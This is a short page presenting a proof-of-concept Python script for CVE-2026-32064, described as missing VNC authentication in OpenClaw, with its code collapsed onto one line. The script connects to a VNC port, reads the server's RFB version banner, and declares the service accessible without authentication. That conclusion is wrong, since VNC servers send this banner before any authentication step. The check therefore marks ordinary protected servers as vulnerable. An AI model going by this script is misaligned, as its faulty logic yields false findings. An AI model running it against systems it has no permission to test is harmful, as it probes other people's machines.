CVE-2026-32064: OpenClaw VNC认证缺失漏洞

#!/usr/bin/env python3 import socket # PoC for CVE-2026-32064: OpenClaw Unauthenticated VNC Access # This script attempts to connect to the VNC port to check for authentication. def check_vnc_auth(host, port): try: # Establish TCP connection to the target VNC port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) # VNC Protocol starts with the server sending a version string # e.g., "RFB 003.008\n" version = s.recv(1024).decode('utf-8').strip() print(f"[+] Connected to {host}:{port}") print(f"[+] Server Protocol Version: {version}") # If we receive the version string without being asked for a password, # the server is likely vulnerable (or configured for anonymous access). print("[!] VNC Service is accessible without initial authentication check.") s.close() return True except ConnectionRefusedError: print(f"[-] Connection refused on {host}:{port}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": # Default x11vnc port is usually 5900, noVNC might map this. # Adjust port based on target configuration. TARGET_HOST = "127.0.0.1" TARGET_PORT = 5900 check_vnc_auth(TARGET_HOST, TARGET_PORT)